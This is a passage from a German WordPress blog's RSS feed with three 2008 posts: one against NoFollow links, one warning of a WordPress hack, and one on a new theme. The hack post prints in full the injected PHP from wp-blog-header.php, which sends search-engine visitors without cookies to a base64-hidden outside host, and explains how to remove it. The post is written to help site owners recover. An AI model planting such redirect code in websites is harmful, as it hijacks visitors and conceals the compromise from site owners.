Ist der verlinkte Blog nun ein  NoFollow Blog ist der Link zum bezugnehmenden Beitrag ebenfalls NoFollow. Wie assig ist das bitte? Da schreibt jemand &#252;ber etwas und gibt mich als Quelle an und gibt mir einen vollwertigen Link und ich habe nicht einmal den Anstand ihm einen vollwertigen Link zur&#252;ckzugeben? Es entsteht mir kein Nachteil wenn ich ebenfalls einen wertigen Link zur&#252;ckgebe. Ich kriege einen Link also gebe ich auch einen zur&#252;ck. Ganz einfach.</p>
<p>Ich verlinke grunds&#228;tzlich keine Beitr&#228;ge von NoFollow Blogs. Warum sollte ich etwas verlinken, dass mir ganz bewusst den vollwertigen Gegenlink verweigert? Sollte ich es doch tun, weil der Beitrag wirklich sehr gut ist, gibt es auch nur einen NoFollow Link. Ich sehe doch nicht ein einen Blog zus&#228;tzlich aufzuwerten wenn ich nichts zur&#252;ckbekomme.</p>
<p>NoFollow in den Kommentaren soll Spammer bzw Spambots davon abhalten die Blogs vollzum&#252;llen.</p>
<p>1. Das klappt eh nicht. Die Bots kommen trotzdem.<br />
2. Man kann diese Spamkommentare immer noch l&#246;schen bzw nicht freigeben. Es dauert eine Weile bis ein Blog die Gr&#246;&#223;e erreicht hat wo das h&#228;ndisch zu viel Aufwand ist.<br />
3. Mit <a href="http://akismet.com/">Aksimet</a> gibt es ein Wordpress Plugin, dass Spam in Kommentaren automatisch erkennt. Das ist bei mir seit Monaten im Einsatz und hat seitdem alle Spamkommentare erfolgreich erkannt und erst einen einzigen Kommentar fasch als Spam eingestuft (l&#228;sst sich r&#252;ckg&#228;ngig machen). Man muss lediglich alle paar Tage schauen was denn so an Kommentaren abgefangen wurde.</p>
<p>Selbst solche Mamut Blogs wie <a href="http://www.basicthinking.de/blog/">Basic Thinking</a> schaffen es ohne NoFollow. Und da d&#252;rfte die Anzahl der Spam versuche weitaus h&#246;her sein als bei den meisten anderen Blogs. Wenn Robert das bew&#228;ltigen kann dann sollten das andere Blogger auch schaffen.</p>
<p>&#220;ber den Sinn und Unsinn von NoFollow wurde auch beim <a href="http://www.suchmaschinen-optimierung-seo.info/sosblog/2007/11/09/nofollow-gedanken/">S-O-S SEO Blog</a> geschrieben. Klar, wird ein SEO das NoFollow Atribut niemals toll finden aber gerade das Wikipedia Beispiel dort veranschaulicht gut wieso NoFollow scheisse ist.</p>
<p>Also, seid nicht l&#228;nger egoistisch und entfernt den NoFollow Dreck aus euren Blogs.<br />
Zum Beispiel mit dem <a href="http://kimmo.suominen.com/sw/dofollow/">Do Follow Plugin</a> oder einem anderen. Da gibt es einige.</p>
<p>Ich werde demn&#228;chst auch das <a href="http://www.fiddyp.co.uk/commentluv-wordpress-plugin/">CommentLuv Plugin</a> ausprobieren, mit dem nicht nur ein Link zu einem Blog gesetzt wird sondern auch versucht wird den letzten Blogeintrag zu verlinken. Ich finde das ist ne tolle Sache.</p>
]]></content:encoded>
			<wfw:commentRss>http://fieser-admin.de/2008/nofollow-in-wordpress-blogs/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Wordpress Hack leitet Blog per 302 auf anyresults.net</title>
		<link>http://fieser-admin.de/2008/wordpress-hack-leitet-blog-per-302-auf-anyresultsnet/</link>
		<comments>http://fieser-admin.de/2008/wordpress-hack-leitet-blog-per-302-auf-anyresultsnet/#comments</comments>
		<pubDate>Sat, 07 Jun 2008 01:10:10 +0000</pubDate>
		<dc:creator>Der Admin</dc:creator>
				<category><![CDATA[Internet / Web 2.0]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://fieser-admin.de/allgemein/wordpress-hack-leitet-blog-per-302-auf-anyresultsnet/</guid>
		<description><![CDATA[Ein neuer Wordpress Hack ist aufgetaucht der Besucher von Suchmaschienen wie Google oder Yahoo per 302 Weiterleitung auf die Seite anyresults.net umleitet. Bisher gibt es nur tempor&#228;re L&#246;sungen.]]></description>
			<content:encoded><![CDATA[<p>Anscheinend ist ein fieser neuer Wordpress Hack in Umlauf, der Seiten, die &#252;ber Suchmaschienen aufgerufen werden, per 302 Weiterleitung auf die Seite anyresults.net weiterleitet.</p>
<p>Nach derzeitigem Stand sind alle Wordpress Versionen betroffen, also auch Wordpress 2.5.1.</p>
<p>Derzeit gibt es nur tempor&#228;re L&#246;sungen.</p>
<p><span id="more-100"></span>Ich hab es gerade beim auf dem Blog eines Freundes gesehen: Rufe ich dessen Blog aus IGoogle auf lande ich bei anyresults.net. Kurzes googeln zeigte mir, dass er nicht der einzige ist der betroffen ist.</p>
<p>Der Hack existiert seit etwa einer Woche.</p>
<p>Dabei wird die <strong>wp-blog-header.php</strong> ge&#228;ndert und folgender Code wird hinzugef&#252;gt:</p>
<blockquote><p>&lt;?php $seref=array(&#8221;google&#8221;,&#8221;msn&#8221;,&#8221;live&#8221;,&#8221;altavista&#8221;,&#8221;ask&#8221;,&#8221;yahoo&#8221;,<br />
  &#8220;aol&#8221;,&#8221;cnn&#8221;,&#8221;weather&#8221;,&#8221;alexa&#8221;);<br />
$ser=0; foreach($seref as $ref) if(strpos(strtolower(<br />
  $_SERVER['HTTP_REFERER']),$ref)!==false){ $ser=&#8221;1&#8243;; break; }<br />
if($ser==&#8221;1&#8243; &amp;&amp; sizeof($_COOKIE)==0){<br />
  header(&#8221;Location: http://&#8221;.base64_decode(&#8221;YW55cmVzdWx0cy5uZXQ=&#8221;).&#8221;/&#8221;);<br />
  exit; }?&gt;
</p></blockquote>
<p>Das leitet Besucher von Google, Yahoo und anderen Suchmaschienen auf anyresults.net um. Durch entfernen dieses Codes sollte das problem tempor&#228;r behoben sein.</p>
<p>Vielen Dank an Christian, der die <a href="http://christian.hess-gruenig.de/blog/details-zum-302-anyresultsnet-hack">L&#246;sung entdeckt</a> hat.</p>
<p>Updates folgen sobald mehr bekannt ist.</p>
]]></content:encoded>
			<wfw:commentRss>http://fieser-admin.de/2008/wordpress-hack-leitet-blog-per-302-auf-anyresultsnet/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Neues Theme: I3Theme</title>
		<link>http://fieser-admin.de/2008/neues-theme-i3theme/</link>
		<comments>http://fieser-admin.de/2008/neues-theme-i3theme/#comments</comments>
		<pubDate>Sun, 24 Feb 2008 20:09:22 +0000</pubDate>
		<dc:creator>Der Admin</dc:creator>
				<category><![CDATA[Sonstiges / Privates]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Themes]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://fieser-admin.de/allgemein/neues-theme-i3theme/</guid>
		<description><![CDATA[Der Admin hat ein neues Wordpress Theme: Das i3Theme.]]></description>
			<content:encoded><![CDATA[<p>Des K&#246;nigs neue Kleider, &#228;h des Administrators neues Theme&#8230;<br />
Das alte Theme war zwar nicht ganz so h&#228;sslich wie das erste, war mir aber zu engeschr&#228;nkt.</p>
<p><span id="more-54"></span>Mit dem <a href="http://www.mangoorange.com/resources/i3theme/">I3Theme</a> d&#252;rfte ich nun aber das passende Theme f&#252;r Wordpress gefunden haben. Nat&#252;rlich hab ich das ganze noch etwas angepasst und modifiziert. Links aufgeteilt, bischen SEO zeugs, das &#220;bliche halt.<br />
Nein, das Grunddesign ist absolut original&#8230;weil mir genau das gefiel.</p>
<p>Ich hab die Optik im aktuellen Firefox, Opera, im IE7 und im IE6 getestet. Sollte alles funktionieren. Wer Fehler(insbesondere in anderen Browsern) findet darf sich gerne bei mir melden. Wie immer die an dieser Stelle die Admin Klausel: Das heisst nicht, dass ich auch darauf reagiere.</p>
<p>IE 5.5 Benutzer und Leute mit 800&#215;600 Bildschirmaufl&#246;sung sind leider raus. Kommt mal r&#252;ber in das 21. Jahrhundert&#8230;</p>
<p>Die Boxen in den Sidebars lassen sich &#252;brigens individuell verschieben bzw ganz schliessen. (allerdings funktioniert das Verschieben nicht von einer Sidebar in die andere). Vorsicht: Kann , je nach Browser, zu Problemen f&#252;hren.</p>
<p>In den n&#228;chsten Tagen werd ich sicherlich noch ein wenig weiter basteln. Also nicht wundern wenn es hier zwischenzeitlich mal etwas komisch aussieht.</p>
]]></content:encoded>
			<wfw:commentRss>http://fieser-admin.de/2008/neues-theme-i3theme/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
